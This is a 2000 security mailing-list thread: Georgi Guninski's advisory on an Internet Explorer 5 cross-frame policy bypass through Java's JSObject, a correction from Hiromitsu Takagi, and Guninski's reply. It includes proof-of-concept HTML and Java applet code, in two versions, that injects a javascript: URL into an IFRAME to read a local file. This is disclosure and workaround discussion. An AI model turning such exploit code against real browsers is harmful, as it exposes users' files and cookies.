IE 5 security vulnerablity - circumventing Cross-frame security policy using Java/JavaScript (and disabling Active Scripting is not that easy)
Georgi Guninski
IE 5 security vulnerablity - circumventing Cross-frame security policy
using Java/JavaScript (and disabling Active Scripting is not that easy)
Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Internet Explorer 5.01 under Windows 98 (suppose all other versions are
also vulnerable)
allows circumventing "Cross frame security policy" by accessing the DOM
of documents using Java/JavaScript.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.
Details:
Note: This is NOT a bug in the Java language, this is a bug in
Microsoft's implementation of Java in IE.
Usually, IE 5.x does not allow assigning "javascript:" urls to the
location object because this is dangerous.
But this may be circumvented with the help of the interaction between
Java and the DOM/JavaScript.
The Java JSObject allows setting DOM properties from Java and allows
setting a hostile javascript url
to IFRAME's location. This leads to circumventing cross-frame security
policy.
Another issue is that choosing the option "Disable Active Scripting"
from the security menu does not always disable Active Scripting.
If you have Java enabled and Scripting of Java applets enabled, Active
Scripting may be executed.
The problem seems to be the fact that IE always executes Active
Scripting in "My Computer" zone and with Java one may inject javascript:
URLs in IFRAMEs in "My Computer" zone.
So, to really disable Active Scripting disable Active Scripting and
disable Java and/or Scripting of Java applets.
The code is:
------jsinject.html--------------------------------
<IFRAME ID="I1" NAME="I1" SRC="file://c:/test.txt"></IFRAME>
<applet MAYSCRIPT code="jsinject">
<param name="jscode" value="javascript:alert(document.body.innerText)">
</applet>
<A HREF="javascript:document.applets[0].doit()">Read the file</A>
---------------------------------------------------
------jsinject.java--------------------------------
import java.applet.Applet;
import netscape.javascript.*;
public class jsinject extends Applet {
public void doit()
{
try
{
JSObject win = (JSObject) JSObject.getWindow(this);
JSObject doc = (JSObject) win.getMember("document");
JSObject I1 = (JSObject) doc.getMember("I1");
JSObject loc = (JSObject) I1.getMember("location");
loc.setMember("href",getParameter("jscode"));
}
catch(Exception x){System.out.println(x.toString());}
}
}
---------------------------------------------------
Demonstration is available at: http://www.nat.bg/~joro/jsinject.html
Workaround: Disable Java or disable Scripting of Java applets
Copyright 2000 Georgi Guninski
Regards,
Georgi Guninski
http://www.nat.bg/~joro
TAKAGI, Hiromitsu
Georgi Guninski <jo...@NAT.BG> wrote:
> Georgi Guninski security advisory #10, 2000
> IE 5 security vulnerablity - circumventing Cross-frame security policy
> using Java/JavaScript (and disabling Active Scripting is not that easy)
> Usually, IE 5.x does not allow assigning "javascript:" urls to the
> location object because this is dangerous.
> But this may be circumvented with the help of the interaction between
> Java and the DOM/JavaScript.
I confirmed the vulnerability. But I have two comments against your
report.
> Note: This is NOT a bug in the Java language, this is a bug in
> Microsoft's implementation of Java in IE.
It is not a bug in implementation of "Java". The class JSObject that
is the magic code of the vulnerability is not included in the
standard Java API and is included in the package netscape.javascript
that is an extension library provided by Netscape or Microsoft. So,
it sounds better to say, "This is NOT a bug of Java, this is a bug
in Microsoft's implementation of the extension Java package for
JavaScript".
> If you have Java enabled and Scripting of Java applets enabled, Active
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> Scripting may be executed.
> So, to really disable Active Scripting disable Active Scripting and
> disable Java and/or Scripting of Java applets.
^^
> Workaround: Disable Java or disable Scripting of Java applets
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Disabling "Scripting of Java applets" seems to have no relation with the
vulnerability. Your exploit code can be refined as the following code
which does not use the function "Scripting of Java applets". This
modified version of Guninski's demo is available here.
http://java-house.etl.go.jp/~takagi/java/test/Guninski-jsinject-modified/
I confirmed that it is still vulnerable under disabling "Scripting of
Java applets".
> ------jsinject.java--------------------------------
import java.applet.Applet;
import netscape.javascript.*;
public class jsinject extends Applet {
public void start() {
// ^^^^^^^
try {
JSObject win = (JSObject)JSObject.getWindow(this);
JSObject doc = (JSObject)win.getMember("document");
JSObject I1 = (JSObject)doc.getMember("I1");
JSObject loc = (JSObject)I1.getMember("location");
loc.setMember("href", getParameter("jscode"));
} catch (Exception e) {
e.printStackTrace();
}
}
}
> ---------------------------------------------------
> ------jsinject.html--------------------------------
<IFRAME ID="I1" NAME="I1" SRC="file://c:/test.txt"></IFRAME>
<applet MAYSCRIPT code="jsinject">
<param name="jscode" value="javascript:alert(document.body.innerText)">
</applet>
> ---------------------------------------------------
--
Hiromitsu Takagi
Electrotechnical Laboratory
http://www.etl.go.jp/~takagi/
Georgi Guninski
stop neither a little modification of my exploit nor execution of Active
Scripting if it is disabled.
Before writing my advisory I tested one time an exploit with Scripitng
of Java Applets disabled and it did stop the exploit - obviously I have
made a mistake and missed something or there is some strange timing
issue with Internet Explorer. Now the same exploit works fine.
Thanks to Mr. TAKAGI for letting me know.
So the only solution to stop the exploit and execution of Active
Scripting is to disable Java.
"TAKAGI, Hiromitsu" wrote:
>
> > Note: This is NOT a bug in the Java language, this is a bug in
> > Microsoft's implementation of Java in IE.
>
> It is not a bug in implementation of "Java". The class JSObject that
> is the magic code of the vulnerability is not included in the
> standard Java API and is included in the package netscape.javascript
> that is an extension library provided by Netscape or Microsoft. So,
> it sounds better to say, "This is NOT a bug of Java, this is a bug
> in Microsoft's implementation of the extension Java package for
> JavaScript".
>
I am not a Java expert and shall not argue about that. Hope the readers
understand my point.
> > If you have Java enabled and Scripting of Java applets enabled, Active
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > Scripting may be executed.
>
> > So, to really disable Active Scripting disable Active Scripting and
> > disable Java and/or Scripting of Java applets.
> ^^
> > Workaround: Disable Java or disable Scripting of Java applets
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> Disabling "Scripting of Java applets" seems to have no relation with the
> vulnerability. Your exploit code can be refined as the following code
> which does not use the function "Scripting of Java applets". This
> modified version of Guninski's demo is available here.
> http://java-house.etl.go.jp/~takagi/java/test/Guninski-jsinject-modified/
> I confirmed that it is still vulnerable under disabling "Scripting of
> Java applets".
>
This is correct.
Regards,
Georgi Guninski